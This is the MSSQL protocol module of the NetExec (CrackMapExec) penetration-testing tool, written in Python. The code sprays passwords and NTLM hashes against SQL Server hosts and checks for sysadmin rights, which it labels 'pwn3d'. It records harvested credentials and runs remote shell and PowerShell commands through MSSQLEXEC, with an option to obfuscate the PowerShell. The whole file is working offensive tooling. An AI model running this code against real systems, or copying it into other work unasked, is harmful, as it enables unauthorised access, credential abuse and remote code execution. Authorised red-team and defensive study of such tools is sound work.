NetExec/cme/protocols/mssql.py

315 lines
14 KiB
Python
Executable File

import socket
import logging
from cme.logger import CMEAdapter
from io import StringIO
from cme.protocols.mssql.mssqlexec import MSSQLEXEC
from cme.connection import *
from cme.helpers.logger import highlight
from cme.helpers.powershell import create_ps_command
from impacket import tds
import configparser
from impacket.smbconnection import SMBConnection, SessionError
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
class mssql(connection):
def __init__(self, args, db, host):
self.mssql_instances = None
self.domain = None
self.server_os = None
self.hash = None
self.os_arch = None
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser('mssql', help="own stuff using MSSQL", parents=[std_parser, module_parser])
dgroup = mssql_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain name")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
mssql_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
mssql_parser.add_argument("--port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
mssql_parser.add_argument("-q", "--query", dest='mssql_query', metavar='QUERY', type=str, help='execute the specified query against the MSSQL DB')
mssql_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
mssql_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
psgroup = mssql_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')
return parser
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj():
self.enum_host_info()
self.print_host_info()
self.login()
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'MSSQL',
'host': self.host,
'port': self.args.port,
'hostname': 'None'
})
def enum_host_info(self):
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
try:
# Probably a better way of doing this, grab our IP from the socket
self.local_ip = str(self.conn.socket).split()[2].split('=')[1].split(':')[0]
except:
pass
if self.args.domain:
self.domain = self.args.domain
else:
try:
smb_conn = SMBConnection(self.host, self.host, None)
try:
smb_conn.login('', '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.getErrorString():
pass
self.domain = smb_conn.getServerDNSDomainName()
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra['hostname'] = self.hostname
try:
smb_conn.logoff()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
except Exception as e:
self.logger.error("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
self.mssql_instances = self.conn.getInstances(0)
self.db.add_computer(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
try:
self.conn.disconnect()
except:
pass
def print_host_info(self):
self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os,
self.hostname,
self.domain))
# if len(self.mssql_instances) > 0:
# self.logger.info("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
# for i, instance in enumerate(self.mssql_instances):
# self.logger.debug("Instance {}".format(i))
# for key in instance.keys():
# self.logger.debug(key + ":" + instance[key])
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.args.port, rowsPrinter=self.logger)
self.conn.connect()
except socket.error:
return False
return True
def check_if_admin(self, auth):
try:
self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
self.conn.printRows()
query_output = self.conn._MSSQL__rowsPrinter.getMessage()
query_output = query_output.strip("\n-")
if int(query_output):
self.admin_privs = True
else:
return False
except Exception as e:
self.logger.error('Error calling check_if_admin(): {}'.format(e))
return False
return True
def plaintext_login(self, domain, username, password):
try:
self.conn.disconnect()
except:
pass
self.create_conn_obj()
try:
res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
if res is not True:
self.conn.printReplies()
return False
self.password = password
self.username = username
self.domain = domain
self.check_if_admin(self.args.local_auth)
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.add_admin_user('plaintext', domain, username, password, self.host)
out = u'{}{}:{} {}'.format('{}\\'.format(domain) if not self.args.local_auth else '',
username,
password,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
if not self.args.continue_on_success:
return True
except Exception as e:
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password,
e))
return False
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
try:
self.conn.disconnect()
except:
pass
self.create_conn_obj()
try:
res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True)
if res is not True:
self.conn.printReplies()
return False
self.hash = ntlm_hash
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(domain,
username,
ntlm_hash,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
if not self.args.continue_on_success:
return True
except Exception as e:
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
ntlm_hash,
e))
return False
def mssql_query(self):
self.conn.sql_query(self.args.mssql_query)
self.conn.printRows()
for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines():
if line.strip() != '':
self.logger.highlight(line.strip())
return self.conn._MSSQL__rowsPrinter.getMessage()
@requires_admin
def execute(self, payload=None, get_output=False, methods=None):
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
logging.debug('Command to execute:\n{}'.format(payload))
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, get_output)
logging.debug('Executed command via mssqlexec')
if hasattr(self, 'server'): self.server.track_host(self.host)
output = u'{}'.format(raw_output)
if self.args.execute or self.args.ps_execute:
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
self.logger.success('Executed command via mssqlexec')
buf = StringIO(output).readlines()
for line in buf:
if line.strip() != '':
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method (probably an escaping issue)
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
# The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
self._MSSQL__rowsPrinter.error(error)
elif key['TokenType'] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
if record['OldValue'] == '':
record['OldValue'] = 'None'.encode('utf-16le')
elif record['NewValue'] == '':
record['NewValue'] = 'None'.encode('utf-16le')
if key['Type'] == TDS_ENVCHANGE_DATABASE:
_type = 'DATABASE'
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
_type = 'LANGUAGE'
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
_type = 'CHARSET'
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
_type = 'PACKETSIZE'
else:
_type = "%d" % key['Type']
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
tds.MSSQL.printReplies = printRepliesCME